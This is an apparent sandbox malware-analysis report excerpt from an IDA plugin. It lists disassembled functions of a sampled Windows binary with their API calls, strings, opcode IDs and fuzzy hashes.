__invoke_watson.LIBCMT ref: 000B7077

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction ID: f3abd4dc5b1bf3b19fc68bb528fe807a4bf4b35f30eaf48d53f3e1bbc19d12e7
Opcode Fuzzy Hash: 1572197e9c4cf49d3ac3c19b6e82465e4eefa01e3d88f7bbd38cf7a66862b9c5
Instruction Fuzzy Hash: 9671D476A00717ABD714AF68DC41BEAB7F8AF44764F14823AF514E6282E775DE008B90

Function 000F2527 Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 000F2542
GetMenuItemInfoW.USER32(00155890,000000FF,00000000,00000030), ref: 000F25A3
SetMenuItemInfoW.USER32(00155890,00000004,00000000,00000030), ref: 000F25D9
Sleep.KERNEL32(000001F4), ref: 000F25EB
GetMenuItemCount.USER32(?), ref: 000F262F
GetMenuItemID.USER32(?,00000000), ref: 000F264B
GetMenuItemID.USER32(?,-00000001), ref: 000F2675
GetMenuItemID.USER32(?,?), ref: 000F26BA
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 000F2700
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 000F2714
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 000F2735

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: db4ba487fffe648a6099cdccd6090ee04f641952046465cbfaf95851c84ca28d
Instruction ID: 3d4f0661d3289b42c10a4060c595800d387d1d4860ccf2f69f97876250967127
Opcode Fuzzy Hash: db4ba487fffe648a6099cdccd6090ee04f641952046465cbfaf95851c84ca28d
Instruction Fuzzy Hash: 12619A7090034DEFDB21DFA4C988AFEBBB9EB41304F144159EA41A7A91D731AD46EB21

Function 00116F23 Relevance: 16.7, APIs: 11, Instructions: 184windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000101F,00000000,00000000), ref: 00116FA5
SendMessageW.USER32(00000000,?,0000101F,00000000), ref: 00116FA8
GetWindowLongW.USER32(?,000000F0), ref: 00116FCC
_memset.LIBCMT ref: 00116FDD
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00116FEF
SendMessageW.USER32(?,0000104D,00000000,00000007), ref: 00117067

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$LongWindow_memset
String ID:
API String ID: 830647256-0
Opcode ID: c941f91f023f5cfff7ef5c375944c23e2d19bc1134b2a9d6846750ed95811505
Instruction ID: cadf1076c420979be6d0ec58356381b21284f563bfef5ce848fd74dda15119ca
Opcode Fuzzy Hash: c941f91f023f5cfff7ef5c375944c23e2d19bc1134b2a9d6846750ed95811505
Instruction Fuzzy Hash: 35617975A00208AFDB15DFA4CC81EEE77F9EB09710F104169FA14AB3A1C771AD85DBA0

Function 000E6B98 Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 000E6BBF
SafeArrayAllocData.OLEAUT32(?), ref: 000E6C18
VariantInit.OLEAUT32(?), ref: 000E6C2A
SafeArrayAccessData.OLEAUT32(?,?), ref: 000E6C4A
VariantCopy.OLEAUT32(?,?), ref: 000E6C9D
SafeArrayUnaccessData.OLEAUT32(?), ref: 000E6CB1
VariantClear.OLEAUT32(?), ref: 000E6CC6
SafeArrayDestroyData.OLEAUT32(?), ref: 000E6CD3
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 000E6CDC
VariantClear.OLEAUT32(?), ref: 000E6CEE
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 000E6CF9

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 8f4856b361faba424358e96fd23340167049037643544b26b58904eece9de8a2
Instruction ID: df930794b6a5346127184fa39c66a227fe96b5a854fa732e529535a52de08f25
Opcode Fuzzy Hash: 8f4856b361faba424358e96fd23340167049037643544b26b58904eece9de8a2
Instruction Fuzzy Hash: A3417135A001199FCF04DFA9D9489EEBBB9EF18354F00C069E955E7661CB31A986CBA0

Function 001083BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00099837: __itow.LIBCMT ref: 00099862
Part of subcall function 00099837: __swprintf.LIBCMT ref: 000998AC

CoInitialize.OLE32 ref: 00108403
CoUninitialize.OLE32 ref: 0010840E
CoCreateInstance.OLE32(?,00000000,00000017,00122BEC,?), ref: 0010846E
IIDFromString.OLE32(?,?), ref: 001084E1
VariantInit.OLEAUT32(?), ref: 0010857B
VariantClear.OLEAUT32(?), ref: 001085DC

Strings

NULL Pointer assignment, xrefs: 001084B3
Failed to create object, xrefs: 00108479, 0010852F
Invalid parameter, xrefs: 001084FA

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 523eb3ab30de5e1e9d8c2e54c008541dc1ae74e33bf88a90377ca9dcf267f7b9
Instruction ID: ce12f81da6a5a9ab05f88d24a7c44ae2aa77e21ed1b6da97d5224d2efb292597
Opcode Fuzzy Hash: 523eb3ab30de5e1e9d8c2e54c008541dc1ae74e33bf88a90377ca9dcf267f7b9
Instruction Fuzzy Hash: EE618C70608712AFC714DF24C849BAEB7E8AF49754F00451DF9C59B2A2DBB0ED49CB92

Function 00105732 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 163networkfileCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 00105793
inet_addr.WSOCK32(?), ref: 001057D8
gethostbyname.WSOCK32(?), ref: 001057E4
IcmpCreateFile.IPHLPAPI ref: 001057F2
IcmpSendEcho.IPHLPAPI(?,?,?,00000005,00000000,?,00000029,00000FA0), ref: 00105862
IcmpSendEcho.IPHLPAPI(00000000,00000000,?,00000005,00000000,?,00000029,00000FA0), ref: 00105878
IcmpCloseHandle.IPHLPAPI(00000000), ref: 001058ED
WSACleanup.WSOCK32 ref: 001058F3

Strings

Ping, xrefs: 00105816

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Icmp$EchoSend$CleanupCloseCreateFileHandleStartupgethostbynameinet_addr
String ID: Ping
API String ID: 1028309954-2246546115
Opcode ID: 40422fc8be3616125b27034fb90845f17c0ec0b5dba073b2ab86eab265153b80
Instruction ID: 4ac6615a09a2e5dbe7c4ebd2fab12fb24604316ec28a00eefb8cc095040d0cba
Opcode Fuzzy Hash: 40422fc8be3616125b27034fb90845f17c0ec0b5dba073b2ab86eab265153b80
Instruction Fuzzy Hash: EE516C316046009FDB14DF26DC49BAA7BE5EB49720F04852AF996DB2E2DB70E840DF41

Function 000FB4C3 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 98COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 000FB4D0
GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,00000002,00000001), ref: 000FB546
GetLastError.KERNEL32 ref: 000FB550
SetErrorMode.KERNEL32(00000000,READY), ref: 000FB5BD

Strings

READY, xrefs: 000FB596
INVALID, xrefs: 000FB58F
NOTREADY, xrefs: 000FB57C
UNKNOWN, xrefs: 000FB575
READONLY, xrefs: 000FB588

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Error$Mode$DiskFreeLastSpace
String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
API String ID: 4194297153-14809454
Opcode ID: 6b6650d954a49b7bd444f8fe029c11f17d8a6cefc9c00021f5c0d4b62ed9ade1
Instruction ID: c4badd94b531d129ab45b7dfa3cb2f2466d0385b5e65b0d789ad7527fd587717
Opcode Fuzzy Hash: 6b6650d954a49b7bd444f8fe029c11f17d8a6cefc9c00021f5c0d4b62ed9ade1
Instruction Fuzzy Hash: AE31A135A00609EFDB10EB68C845BFEB7B4FF04714F148129E605D7692DB74DA42EB41

Function 000E8F8F Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Part of subcall function 000EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 000EAABC

SendMessageW.USER32(?,0000018C,000000FF,00000002), ref: 000E9014
GetDlgCtrlID.USER32 ref: 000E901F
GetParent.USER32 ref: 000E903B
SendMessageW.USER32(00000000,?,00000111,?), ref: 000E903E
GetDlgCtrlID.USER32(?), ref: 000E9047
GetParent.USER32(?), ref: 000E9063
SendMessageW.USER32(00000000,?,?,00000111), ref: 000E9066

Strings

ListBox, xrefs: 000E8FD1
ComboBox, xrefs: 000E8F9C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: 9266680be6f61a357c3141347c86dbacab7985271b7a53335f716f133f809fb0
Instruction ID: a8fbdf94ed97723e14d1b1410a6b8540bd88edc54ebaf7fa0def508e93fe9e5e
Opcode Fuzzy Hash: 9266680be6f61a357c3141347c86dbacab7985271b7a53335f716f133f809fb0
Instruction Fuzzy Hash: F621C7B0A00208BFDF15ABA1CC85EFEB774EF49310F104119B511A72E2DB755855DB20

Function 000E907A Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 81windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00097DE1: _memmove.LIBCMT ref: 00097E22

Part of subcall function 000EAA99: GetClassNameW.USER32(?,?,000000FF), ref: 000EAABC

SendMessageW.USER32(?,00000186,00000002,00000000), ref: 000E90FD
GetDlgCtrlID.USER32 ref: 000E9108
GetParent.USER32 ref: 000E9124
SendMessageW.USER32(00000000,?,00000111,?), ref: 000E9127
GetDlgCtrlID.USER32(?), ref: 000E9130
GetParent.USER32(?), ref: 000E914C
SendMessageW.USER32(00000000,?,?,00000111), ref: 000E914F

Strings

ListBox, xrefs: 000E90BC
ComboBox, xrefs: 000E9087

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: MessageSend$CtrlParent$ClassName_memmove
String ID: ComboBox$ListBox
API String ID: 1536045017-1403004172
Opcode ID: cc5d255be3fb825c41751976128230061bf566335cb42ada3fb474d27cfb109a
Instruction ID: 5b406b07cfa8c6a7f49b1edf3e356ca6b40c43b099dcdb1b322245eeb54cdac0
Opcode Fuzzy Hash: cc5d255be3fb825c41751976128230061bf566335cb42ada3fb474d27cfb109a
Instruction Fuzzy Hash: CB2129B4A00208BFDF15ABA1CC85EFEBBB4EF48300F004059F911A72E2DB755855DB20

Function 000E9163 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 72windowCOMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 000E916F
GetClassNameW.USER32(00000000,?,00000100), ref: 000E9184
_wcscmp.LIBCMT ref: 000E9196
SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 000E9211

Strings

smallicons, xrefs: 000E91D9
SHELLDLL_DefView, xrefs: 000E9190
list, xrefs: 000E91F3
largeicons, xrefs: 000E91A5
details, xrefs: 000E91BF

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ClassMessageNameParentSend_wcscmp
String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
API String ID: 1704125052-3381328864
Opcode ID: aedbf1548d53dd17c915f9bbad2b58206d2861cbc311510df6d34f7f20a0282c
Instruction ID: fc65801d70b02c4f42e6de298a1b15ef388bf184f1b0dbfd1533bf97e7d33700
Opcode Fuzzy Hash: aedbf1548d53dd17c915f9bbad2b58206d2861cbc311510df6d34f7f20a0282c
Instruction Fuzzy Hash: A211297624C387BEFE252626EC0ADE737DC9F15730B20002AFA10B44E2FF62A8515994

Function 001088AB Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 001088D7
CoInitialize.OLE32(00000000), ref: 00108904
CoUninitialize.OLE32 ref: 0010890E
GetRunningObjectTable.OLE32(00000000,?), ref: 00108A0E
SetErrorMode.KERNEL32(00000001,00000029), ref: 00108B3B
CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002,?,00000001,00122C0C), ref: 00108B6F
CoGetObject.OLE32(?,00000000,00122C0C,?), ref: 00108B92
SetErrorMode.KERNEL32(00000000), ref: 00108BA5
SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00108C25
VariantClear.OLEAUT32(?), ref: 00108C35

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
String ID:
API String ID: 2395222682-0
Opcode ID: 99dd28b225d7e014c9ef499d59fea077f4b581bea504587dff358e196ec6083f
Instruction ID: a6d6c60f47bd71740917302551c17cdeda16d9da019830c23e26beb8cf5159a0
Opcode Fuzzy Hash: 99dd28b225d7e014c9ef499d59fea077f4b581bea504587dff358e196ec6083f
Instruction Fuzzy Hash: A0C139B1608305AFD704EF68C88496BB7E9FF89348F00491DF5899B291DBB1ED46CB52

Function 000F7990 Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 000F7A6C

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 0c6c37cf39c07341e672c82246b707128bc1faceb98ebda43641a73fe000ca19
Instruction ID: 6ab4992c352721ce8cf465a3dbd5b25e154c86da05e681845a2d40ba963d08b2
Opcode Fuzzy Hash: 0c6c37cf39c07341e672c82246b707128bc1faceb98ebda43641a73fe000ca19
Instruction Fuzzy Hash: DEB18E7190820E9FDB10DFA4D884BFEB7F4EF09321F204429EA19E7651D774A941EB92

Function 000F11CE Relevance: 15.1, APIs: 10, Instructions: 89threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000F11F0
GetForegroundWindow.USER32(00000000,?,?,?,?,?,000F0268,?,00000001), ref: 000F1204
GetWindowThreadProcessId.USER32(00000000), ref: 000F120B
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,000F0268,?,00000001), ref: 000F121A
GetWindowThreadProcessId.USER32(?,00000000), ref: 000F122C
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,000F0268,?,00000001), ref: 000F1245
AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,000F0268,?,00000001), ref: 000F1257
AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,000F0268,?,00000001), ref: 000F129C
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,000F0268,?,00000001), ref: 000F12B1
AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,?,?,000F0268,?,00000001), ref: 000F12BC

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Thread$AttachInput$Window$Process$CurrentForeground
String ID:
API String ID: 2156557900-0
Opcode ID: 5417bcafb6142d93cfa5180001267a76989288ee6d78083135efe1c5b9ed31dc
Instruction ID: f274b32bee387299c7b74a26184ee0b0bc386902969e6e0eb334533571d38e4f
Opcode Fuzzy Hash: 5417bcafb6142d93cfa5180001267a76989288ee6d78083135efe1c5b9ed31dc
Instruction Fuzzy Hash: 04318275A04308FBDB94DF94ED44BF977E9AB94322F10811AFA05CB9A0D7749D80DB90

Function 0009FA5D Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 264comCOMMON

Download Yara Rule

APIs

mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 0009FAA6
OleUninitialize.OLE32(?,00000000), ref: 0009FB45
UnregisterHotKey.USER32(?), ref: 0009FC9C
DestroyWindow.USER32(?), ref: 000D45D6
FreeLibrary.KERNEL32(?), ref: 000D463B
VirtualFree.KERNEL32(?,00000000,00008000), ref: 000D4668

Strings

close all, xrefs: 0009FAA1

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
String ID: close all
API String ID: 469580280-3243417748
Opcode ID: d87ffb6b17ae08621fde0875b6486ddb3da3adeaeff2ecdc62c9df73c5577c32
Instruction ID: ed7939301ef3a967c2144f7523f2d0adc203fcc75ce73de0037fee90fb74cb47
Opcode Fuzzy Hash: d87ffb6b17ae08621fde0875b6486ddb3da3adeaeff2ecdc62c9df73c5577c32
Instruction Fuzzy Hash: 26A17D70701212CFCB69EF14C995AB9F3A4BF05710F1442ADE80AAB262DB30ED16DF61

Function 000EA068 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 241COMMON

Download Yara Rule

APIs

EnumChildWindows.USER32(?,000EA439), ref: 000EA377

Strings

CLASSNN, xrefs: 000EA119
NAME, xrefs: 000EA1A9
INSTANCE, xrefs: 000EA285
REGEXPCLASS, xrefs: 000EA13C
TEXT, xrefs: 000EA2AE
CLASS, xrefs: 000EA0F6

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319581941.000000000014E000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319599827.0000000000157000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_90000_2NJzy3tiny.jbxd

Similarity

API ID: ChildEnumWindows
String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
API String ID: 3555792229-1603158881
Opcode ID: 6941d277d758bdfa3a20065ff0f507214a7d574a334e1409ee546619ca4c0b5a
Instruction ID: 2d08eb011577a48764a870418ae51e54f3360ea72fb0a280b24d0b5cf03c8c80
Opcode Fuzzy Hash: 6941d277d758bdfa3a20065ff0f507214a7d574a334e1409ee546619ca4c0b5a
Instruction Fuzzy Hash: E591D430700645AECB58EFB5C441BEEFBB4BF09310F548119E949B7192DB317A99CBA1

Function 00092E26 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 186windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(?,000000EB), ref: 00092EAE

Part of subcall function 00091DB3: GetClientRect.USER32(?,?), ref: 00091DDC
Part of subcall function 00091DB3: GetWindowRect.USER32(?,?), ref: 00091E1D
Part of subcall function 00091DB3: ScreenToClient.USER32(?,?), ref: 00091E45

GetDC.USER32 ref: 000CCD32
SendMessageW.USER32(?,00000031,00000000,00000000), ref: 000CCD45
SelectObject.GDI32(00000000,00000000), ref: 000CCD53
SelectObject.GDI32(00000000,00000000), ref: 000CCD68
ReleaseDC.USER32(?,00000000), ref: 000CCD70
MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 000CCDFB

Strings

U, xrefs: 000CCCD0

Memory Dump Source

Source File: 00000002.00000002.1319459173.0000000000091000.00000020.00000001.01000000.00000004.sdmp, Offset: 00090000, based on PE: true

Associated: 00000002.00000002.1319442191.0000000000090000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.000000000011F000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.1319528723.0000000000144000.00000002.00000001.01000000.00000004.sdmpDownload File
